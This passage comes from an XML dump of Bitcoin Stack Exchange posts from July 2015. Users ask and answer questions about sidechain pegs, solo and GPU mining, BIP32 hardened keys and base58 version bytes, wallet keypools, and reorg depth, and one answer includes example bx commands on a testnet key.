&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Miners do not transmit unsolved blocks purely because it would be a massive denial of service problem, and there might be hundreds of thousands of candidate blocks that don't get solved every hour. Ultimately the Relay Network achieves the same result as what you proposed (just transmit a nonce) and actually uses substantially less bandwidth than the normal P2P network. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-30T17:41:59.860" LastActivityDate="2015-07-30T17:41:59.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38857" PostTypeId="1" CreationDate="2015-07-29T05:43:45.147" Score="2" ViewCount="489" Body="&lt;p&gt;Is it possible to view the balance of an address at a specific height, without using any external web api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it perhaps be done using &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-explorer&quot; rel=&quot;nofollow&quot;&gt;bx&lt;/a&gt; or the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin client API&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="26802" LastEditorUserId="5406" LastEditDate="2015-07-29T12:39:03.897" LastActivityDate="2023-07-22T05:39:47.687" Title="How can one extract an address balance at a specific height?" Tags="|block|balance|height|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38858" PostTypeId="1" CreationDate="2015-07-29T07:42:35.927" Score="4" ViewCount="558" Body="&lt;p&gt;I am reading &lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;sidechains&lt;/a&gt; white paper and in section 3.2 Symmetric two-way peg they mention that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The parent chain coins are sent to a special output on the parent chain that can only be unlocked by an SPV proof of possession on the sidechain. I dont get how the coins can be locked on a blockchain. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are they referring to locking it in a multisig address or something?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Who has the private key of that locked address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-07-29T14:52:35.120" Title="How are the assets locked and unlocked trustlessly using sidechains?" Tags="|trust|sidechains|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38859" PostTypeId="2" ParentId="38857" CreationDate="2015-07-29T07:49:20.900" Score="1" Body="&lt;p&gt;This is relatively hard to achieve, because if you wish to allow querying any address at any height you deal with a &lt;strong&gt;LOT&lt;/strong&gt; of data. You probably would need serve database server (cluster).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure, getting a balance at a specific height from a specific address is not possible over a existing app or API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try built it yourself with bitcoin-core as basis.&#xA;Maybe have a look at the &gt;1year old &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3652&quot; rel=&quot;nofollow&quot;&gt;address index patch&lt;/a&gt; from Johnathan Corgan. But it would required additional to allow a API where you could define the height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But caching every address at every possible height (Juli 29 2015: 367456, amount of addresses ~250k) is nearly impossible.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-29T07:49:20.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38861" PostTypeId="1" CreationDate="2015-07-29T14:23:52.467" Score="0" ViewCount="618" Body="&lt;p&gt;Im having problems because when a user pay to a forwarding address, the forward address receives bitcoins instantly, but takes nearly 1 hour to send those bitcoins to the destination address, the real one, and it only calls the API when it transfers to the real one. How can a user deposit the btc instantly? or faster? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="27679" LastEditorUserId="14887" LastEditDate="2015-08-31T06:45:04.693" LastActivityDate="2015-08-31T06:45:04.693" Title="Problems with Blockchain API" Tags="|api|blockchain.info|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38862" PostTypeId="2" ParentId="38858" CreationDate="2015-07-29T14:52:35.120" Score="2" Body="&lt;p&gt;This is my conceptual understanding, which will hopefully be useful here, but I'm sure there are technical subtleties that I am not including, which some more experienced with the side-chains project would be able to give more insight into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we need to have a clear definition of an SPV proof. I will use SPV proof to mean: A bit sequence that proves that a transaction has a substantial amount of work committing to it. It is desirable for this proof to be as small as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you start by sending some coins on the main chain to an output that has a scriptPubKey that says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_SPVPROOFVERIFY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then wait until it has sufficient confirmations (1-days worth, I think), and you take this UTXO, represented by the pair (txid, n), and go over to a sidechain make a transaction that uses an SPV proof of the output being in the confirmed blockchain to issue new coins. This is essentially like moving coins from one blockchain to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you're done using them on the side-chain, you make a new output with the same number of coins, maybe sending them to OP_RETURN. Thus, you've given up your coins on the side-chain, allowing them to be re-claimed on the main chain. Before you can re-claim them, though, you have to wait for 1-days worth of confirmations on the sidechain, and then construct an SPV proof that the coins have been destroyed in the sidechain. This SPV proof is what lets you unlock your coins from the &lt;code&gt;OP_SPVPROOFVERIFY&lt;/code&gt; output that they were locked in before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on compact SPV proofs, see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Appendix B of the Sidechains white paper.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/32111357/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This post on the bitcoin-dev mailing list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37914/is-there-a-pow-system-that-shows-cumulative-work-without-an-ever-increasing-proo&quot;&gt;Is there a PoW system that shows cumulative work without an ever-increasing proof size?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-07-29T14:52:35.120" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38863" PostTypeId="1" AcceptedAnswerId="38864" CreationDate="2015-07-29T16:00:08.500" Score="1" ViewCount="297" Body="&lt;p&gt;I'm curious about traditional bitcoin mining, before pooling.  Did an older version of the bitcoin wallet found on sourceforge have a mining feature built in which worked on a simple macbook?  if so was this later removed in favor of pooling software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've read the traditional bitcoin wallet had a mining feature which could be used on a macbook, and I'm wondering if that code would still be possible to use, even if it never wins any bitcoin.. &lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="5406" LastEditDate="2016-03-11T15:06:45.937" LastActivityDate="2018-07-13T11:08:07.337" Title="About traditional Bitcoin mining" Tags="|bitcoind|solo-mining|miner-configuration|bitcoin.conf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38864" PostTypeId="2" ParentId="38863" CreationDate="2015-07-29T16:11:28.370" Score="3" Body="&lt;p&gt;The official Bitcoin full node software always had the mining feature built in, and will probably always have. If you have the line &lt;code&gt;gen=1&lt;/code&gt; in your .conf file, then you will start confirming transactions when you open the wallet. Take a look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-07-29T16:11:28.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38865" PostTypeId="2" ParentId="32349" CreationDate="2015-07-29T16:25:26.750" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/OpenAssets&quot; rel=&quot;nofollow&quot;&gt;OpenAssets&lt;/a&gt; and &lt;a href=&quot;http://counterparty.io/&quot; rel=&quot;nofollow&quot;&gt;CounterParty&lt;/a&gt; are the most similar projects I can think of, but I'm sure it doesn't have all of the features you are looking for. You may also be interested in Overstock's Medici project.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-29T16:25:26.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38866" PostTypeId="2" ParentId="38861" CreationDate="2015-07-29T16:35:03.497" Score="2" Body="&lt;p&gt;Blockchain.info's receive API has been all wonky for the past month or two. The forwarding used to be almost instant, but lately it has been taking up to 24 hours for the payment to be forwarded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that THEY pay the transaction/mining fee for you, so they pay as little as possible which can cause a delay in transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion you should try another forwarding service that is not free. I suggest you try &lt;a href=&quot;http://dev.blockcypher.com/#payment-forwarding&quot; rel=&quot;nofollow&quot;&gt;Blockcypher's payment forwarding service&lt;/a&gt;. It's very similar to Blockchain's however the mining/transaction fee will be taken from the funds received and you will need to register and create a token. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-07-29T16:35:03.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38868" PostTypeId="1" CreationDate="2015-07-29T17:41:23.557" Score="1" ViewCount="1260" Body="&lt;p&gt;HD Wallets have a flaw that revealing a private key and its parent master public key will reveal its parent master private key. (Described here[1] and here[2]).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't there a similar concept with master public key and master private key that does not suffer from this issue. (Does not have to be ECDSA. I just want a deterministic private-public keypair generator that can publish its master public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://bitcoinmagazine.com/8396/deterministic-wallets-advantages-flaw/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinmagazine.com/8396/deterministic-wallets-advantages-flaw/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] &lt;a href=&quot;https://eprint.iacr.org/2014/998.pdf&quot; rel=&quot;nofollow&quot;&gt;https://eprint.iacr.org/2014/998.pdf&lt;/a&gt; (chapter 3)&lt;/p&gt;&#xA;" OwnerUserId="26647" LastActivityDate="2015-07-29T18:21:45.340" Title="Is there a deterministic private-public keypair generator without the BIP32 private key revealing issue?" Tags="|private-key|public-key|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38869" PostTypeId="2" ParentId="38868" CreationDate="2015-07-29T17:59:39.487" Score="4" Body="&lt;p&gt;This is accounted for within the BIP32 specification, they are called 'hardened' keys. Hardened child private keys are derived from the parents' private keys, and revealing the hardened child private keys does not reveal the parents' private key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Child indices 0...2^31-1 are reserved for regular keys (that have the problem you describe), and child indices 2^31...2^32-1 are reserved for hardened private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notation for a standard child:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m/0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notation for a hardened child:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m/0'&#xA;m/0h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-07-29T18:21:45.340" LastActivityDate="2015-07-29T18:21:45.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38870" PostTypeId="1" CreationDate="2015-07-29T18:18:50.227" Score="1" ViewCount="43" Body="&lt;p&gt;I have been wondering how trading fees are actually calculated e.g. &lt;a href=&quot;https://www.kraken.com/en-us/help/fees&quot; rel=&quot;nofollow&quot;&gt;Kraken&lt;/a&gt; takes 0,35% of every trade. Does this fee apply both when I buy bitcoins and later when I sell them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore if I choose to open a position of lets say $100, and leverage on 1:3, is the fee calculated as $100 * 0,0035 or as $300 * 0,0035?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="27682" LastActivityDate="2015-07-29T18:18:50.227" Title="Fees when using leverage" Tags="|exchanges|exchange-fees|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38872" PostTypeId="1" CreationDate="2015-07-30T05:44:13.803" Score="1" ViewCount="605" Body="&lt;p&gt;The protocol requires that freshly generated coins wait 100 blocks before they can be spent in order to avoid polluting bitcoin addresses with bitcoins that are &quot;uncreated&quot; by a reorg that invalidates the block that created them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we decide that &quot;the chain with the most difficulty&quot; means &quot;the chain with the most difficulty &lt;em&gt;over the last N blocks&lt;/em&gt;&quot; and pick a good N, it could make some things simpler AND make transactions at a depth of at least N immune to a 51% attack.  Thus, it limits the value of cornering the market in hashing power.  Such &quot;cornering&quot; could happen without being noticed, so it has begun to worry me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly, we've already done this by (sometimes?) making checkpoints in the Satoshi client at sufficiently large depths when new clients got compiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N = 4032 would ensure that two difficulty levels are spanned.&lt;br&gt;&#xA;N = 100 would change the pain of a 100-block reorg from something barely tolerable to something impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the protocol were changed to use this, then a UTXO database based on the results of the blockchain up to the checkpoint block could replace the gigabytes of blockchain that we currently use for validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Why I asked: It would be nice to validate a UTXO database so that one didn't have to build it from (always increasing GBs of) downloaded block data.  We validate transactions before passing them on, but do we validate them when we download a(n old enough) block?  I think we trust that whatever (old enough) block we get from a peer contains good transactions, so we don't hunt all previous blocks to validate them.  If this trust is already being used, as I suspect, perhaps it is more useful than we know.  I asked a related question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38800/would-a-normalized-hashed-protected-chainstate-reduce-miner-storage-costs&quot;&gt;Would a normalized, hashed, protected chainstate reduce miner storage costs?&lt;/a&gt;.  I'll have to explore the work on making a UTXO Merkle tree as that seems promising.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-08-31T12:28:24.323" Title="Do we need to maintain the ability to do a reorg over 100 blocks?" Tags="|majority-attack|utxo|chain-reorganization|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38873" PostTypeId="2" ParentId="38872" CreationDate="2015-07-30T06:32:15.917" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If the protocol were changed to use this, then a UTXO database based on the results of the blockchain up to the checkpoint block could replace the gigabytes of blockchain that we currently use for validation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can already do something similar to this by turning on -prune. That can cause your node to stop working if the reorg is more than 288 blocks, though as you noted, that doesn't happen often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That still requires you to download the entire blockchain in the first place, of course.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If we decide that &quot;the chain with the most difficulty&quot; means &quot;the chain with the most difficulty over the last N blocks&quot; and pick a good N, it could make some things simpler AND make transactions at a depth of at least N immune to a 51% attack. Thus, it limits the value of cornering the market in hashing power. Such &quot;cornering&quot; could happen without being noticed, so it has begun to worry me.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Suppose a node joins later, after the new chain has been published. From its perspective, the two chains were created at the same time. Because of that, it would naturally choose the one with more work attached to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do we avoid that? This is a problem that's a lot more complicated than it looks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The protocol requires that freshly generated coins wait 100 blocks before they can be spent in order to avoid polluting bitcoin addresses with bitcoins that are &quot;uncreated&quot; by a reorg that invalidates the block that created them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure, but we're talking about two levels of consequences. In one circumstance, one person on the network loses money. In the other, the blockchain is forked forever.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-08-31T12:28:24.323" LastActivityDate="2015-08-31T12:28:24.323" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38876" PostTypeId="1" AcceptedAnswerId="38877" CreationDate="2015-07-30T09:59:18.930" Score="1" ViewCount="326" Body="&lt;p&gt;I've just backed up an encrypted wallet, but the client (Bitcoin-Qt) is 26 weeks behind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During these last 26 weeks this wallet has only received BTC (roughly one transaction per day), no payments were made from it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) If I install a new client on a new machine, import wallet from this backup, and then let the new client fully sync with the blockchain, will I have access to the BTC received during the last 26 weeks, or these funds (or some them) will have been lost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) I have run the keypoololdest, which returns May 10th 2014; I assume this is the date of the oldest unused key in the pool. The last outbound payment from this wallet was in May 2014, about a week after the keypoololdtest date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date which is 26 weeks behind today is Jan 29th 2015, which is 264 days after the keypoololdtest date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please shed some light on what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) Are keypool keys only used on outbound transactions (to receive change), or each inbound payment also uses up a key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="27691" LastActivityDate="2015-07-30T10:21:21.840" Title="What if I backup my wallet from a client that is not fully synced with the blockchain?" Tags="|wallet|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38877" PostTypeId="2" ParentId="38876" CreationDate="2015-07-30T10:21:21.840" Score="2" Body="&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Yes. You will have access to your funds. Every &lt;code&gt;wallet.dat&lt;/code&gt; stores the &quot;best block&quot; (~newest block the wallet was synced with). When you start a bitcoin-core together with your old &lt;code&gt;wallet.dat&lt;/code&gt; it will automatically rescan for wallet transaction down to the &quot;best block&quot; stored in the &lt;code&gt;wallet.dat&lt;/code&gt;.&#xA;If you funds are not available, try starting bitcoin-core with the &lt;code&gt;-rescan&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)3)&lt;/strong&gt; A keypool does contain pre generated keys. The &lt;code&gt;keypoololdest&lt;/code&gt; is a timestamp of the oldest (unused) key in your keypool. If you have not generated addresses (also happened when you send funds; change address!), this timestamp can be really old and doesn't matter in your case.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-30T10:21:21.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38878" PostTypeId="1" AcceptedAnswerId="38885" CreationDate="2015-07-30T14:09:52.560" Score="3" ViewCount="2719" Body="&lt;p&gt;Converting the BIP32 version bytes - &lt;code&gt;x04\x88\xad\xe4&lt;/code&gt; - from base256 to base58 and base58Check returns &lt;code&gt;7irrX&lt;/code&gt; and &lt;code&gt;1kz713TZjju&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the version bytes represented &lt;code&gt;xprv&lt;/code&gt;. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;em&gt;pybitcointools&lt;/em&gt;, if that makes a difference.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-07-31T13:25:59.993" Title="How does the bip32 version bytes convert to base58?" Tags="|bip32-hd-wallets|python|base58|base58check|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38879" PostTypeId="1" AcceptedAnswerId="38880" CreationDate="2015-07-30T15:28:54.543" Score="1" ViewCount="4006" Body="&lt;p&gt;After &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38863/about-traditional-bitcoin-mining&quot;&gt;asking this question about using the Bitcoin wallet to mine&lt;/a&gt;, I am wondering how I can get my GPU involved with the mining work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? or this there other, non-pooling software that I can use to get the GPU of a macbook to perform blockchain validation (aka mining)?&lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-02-21T15:59:13.547" Title="Using GPU mining with the Bitcoin Wallet" Tags="|solo-mining|gpu-mining|cpu-mining|mining-software|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38880" PostTypeId="2" ParentId="38879" CreationDate="2015-07-30T15:44:46.117" Score="4" Body="&lt;p&gt;You can use your GPU to mine, but it is going to mostly be a waste of time and energy now that there is specialized hardware (ASICs) to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a piece of software that will allow you to mine with your GPU. The miner built into Bitcoin Core is only for CPU mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_software&quot; rel=&quot;nofollow&quot;&gt;this page on the wiki&lt;/a&gt;. The exact software you choose will depend on a number of factors including what make of GPU you have, your OS, etc.&lt;/p&gt;&#xA;" OwnerUserId="27312" LastActivityDate="2015-07-30T15:44:46.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38885" PostTypeId="2" ParentId="38878" CreationDate="2015-07-30T17:15:49.333" Score="6" Body="&lt;p&gt;Just like in regular bitcoin addresses (or anything base 58 encoded), the version bytes don't get encoded by themselves. As described in the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#serialization-format&quot; rel=&quot;nofollow&quot;&gt;Serialization format&lt;/a&gt; section, there is 78 byte payload that gets versioned and checksumed before then being encoded into base 58:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;4 byte: version bytes (mainnet: 0x0488B21E public, 0x0488ADE4 private; testnet: 0x043587CF public, 0x04358394 private)&lt;/li&gt;&#xA;  &lt;li&gt;1 byte: depth: 0x00 for master nodes, 0x01 for level-1 derived keys, ....&lt;/li&gt;&#xA;  &lt;li&gt;4 bytes: the fingerprint of the parent's key (0x00000000 if master key)&lt;/li&gt;&#xA;  &lt;li&gt;4 bytes: child number. This is ser32(i) for i in xi = xpar/i, with xi the key &gt; - being serialized. (0x00000000 if master key)&lt;/li&gt;&#xA;  &lt;li&gt;32 bytes: the chain code&lt;/li&gt;&#xA;  &lt;li&gt;33 bytes: the public key or private key data (serP(K) for public keys, 0x00 || ser256(k) for private keys)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's not a byte-to-character mapping when you do base58 serialization of a multi-byte structure. It's not like 0x04 becomes 'x', 0x88 becomes 'p', etc. Rather, the whole 86 (78 payload + 4 version + 4 checksum) byte structure gets encoded to something that starts with 'xpriv' when the 4 most significant bytes of the 86 bytes structure are [0x04, 0x88, 0xad, 0xe4].&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-07-31T13:25:59.993" LastActivityDate="2015-07-31T13:25:59.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38886" PostTypeId="2" ParentId="37045" CreationDate="2015-07-30T17:19:42.063" Score="1" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://build-a-co.in/&quot; rel=&quot;nofollow&quot;&gt;http://build-a-co.in/&lt;/a&gt; is an alt coin generator that supports merged mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, I think it has more settings and is easier to correct settings.&lt;/p&gt;&#xA;" OwnerUserId="27701" LastEditorUserId="18196" LastEditDate="2015-07-30T17:46:17.397" LastActivityDate="2015-07-30T17:46:17.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38887" PostTypeId="1" CreationDate="2015-07-30T21:59:08.280" Score="4" ViewCount="5261" Body="&lt;p&gt;I need this for a tool i'm writing that generates a transaction history report.   think:  accounting, auditing, etc.   The tool does not and should not have access to the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the API would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;not require creating a wallet first.  I only need it to derive keys.&lt;/li&gt;&#xA;&lt;li&gt;return only addresses that have been used (received funds), up to the gap defined in bip44.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively, are there any command-line tools that can do this?&lt;/p&gt;&#xA;" OwnerUserId="27702" LastActivityDate="2018-03-08T14:18:39.447" Title="Is there any service/api for deriving HD wallet addresses from a master public key?" Tags="|bip32-hd-wallets|bip44|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38888" PostTypeId="1" AcceptedAnswerId="38897" CreationDate="2015-07-30T22:21:00.890" Score="4" ViewCount="209" Body="&lt;p&gt;I know Peercoin is proof-of-stake, but if I use an online wallet, will I receive any of the coins generated for my stake? Or do I have to have to download a desktop wallet?&lt;/p&gt;&#xA;" OwnerUserId="27703" LastEditorUserId="27703" LastEditDate="2015-07-30T22:27:06.293" LastActivityDate="2015-07-31T11:20:52.507" Title="Do you receive interest on Peercoin if you use an online wallet?" Tags="|e-wallet|proof-of-stake|peercoin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38890" PostTypeId="2" ParentId="38878" CreationDate="2015-07-31T01:42:42.110" Score="1" Body="&lt;p&gt;To complement the answer above, the Bitcoin &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp&quot; rel=&quot;nofollow&quot;&gt;chainparams.cpp&lt;/a&gt; file contains the following information to assist in achieving BIP 32 compliance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainnet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base58Prefixes[EXT_PUBLIC_KEY] = boost::assign::list_of(0x04)(0x88)(0xB2)(0x1E).convert_to_container&amp;lt;std::vector&amp;lt;unsigned char&amp;gt; &amp;gt;();&#xA;base58Prefixes[EXT_SECRET_KEY] = boost::assign::list_of(0x04)(0x88)(0xAD)(0xE4).convert_to_container&amp;lt;std::vector&amp;lt;unsigned char&amp;gt; &amp;gt;();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Testnet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base58Prefixes[EXT_PUBLIC_KEY] = boost::assign::list_of(0x04)(0x35)(0x87)(0xCF).convert_to_container&amp;lt;std::vector&amp;lt;unsigned char&amp;gt; &amp;gt;();&#xA;base58Prefixes[EXT_SECRET_KEY] = boost::assign::list_of(0x04)(0x35)(0x83)(0x94).convert_to_container&amp;lt;std::vector&amp;lt;unsigned char&amp;gt; &amp;gt;();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bitcoin-explorer (bx) command is used below, with the 3rd worst possible brain wallet seed in the world. Additionally, bx was compiled for using testnet not mainnet. Hence, focus on where &lt;strong&gt;04358394&lt;/strong&gt; for &lt;strong&gt;tprv&lt;/strong&gt; and &lt;strong&gt;043587cf&lt;/strong&gt; for &lt;strong&gt;tpub&lt;/strong&gt; that appears in the examples below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% echo '0' | bx base16-encode | bx sha512 | bx hd-new &#xA;&lt;code&gt;tprv8ZgxMBicQKsPdcvudXaExR6Wdz5VgdjGeZHsw5bjnypoxrCxnYsyVq2v9cPTzDsnyLAL1v4Z2tM3Rp2AA6vv9WDbNBtui5QEZTWYucefZox&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% echo '0' | bx base16-encode | bx sha512 | bx hd-new | bx base58check-decode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wrapper&#xA;{&#xA;    checksum 3287061687&#xA;    payload 3583940000000000000000004b0dc73821a026c0c71d07a7655968352b52d7e5896dd3907df121f914f9743900a6b53d2f0e384dc6ced2caeb36f0c9cc6f3ab0677f73c31aca87b62bbcc9fe78&#xA;    version 4&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;% echo '0' | bx base16-encode | bx sha512 | bx hd-new | bx base58-decode&#xA;&lt;code&gt;04358394&lt;/code&gt;0000000000000000004b0dc73821a026c0c71d07a7655968352b52d7e5896dd3907df121f914f9743900a6b53d2f0e384dc6ced2caeb36f0c9cc6f3ab0677f73c31aca87b62bbcc9fe78&lt;code&gt;b794ecc3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% echo '0' | bx base16-encode | bx sha512 | bx hd-new | bx 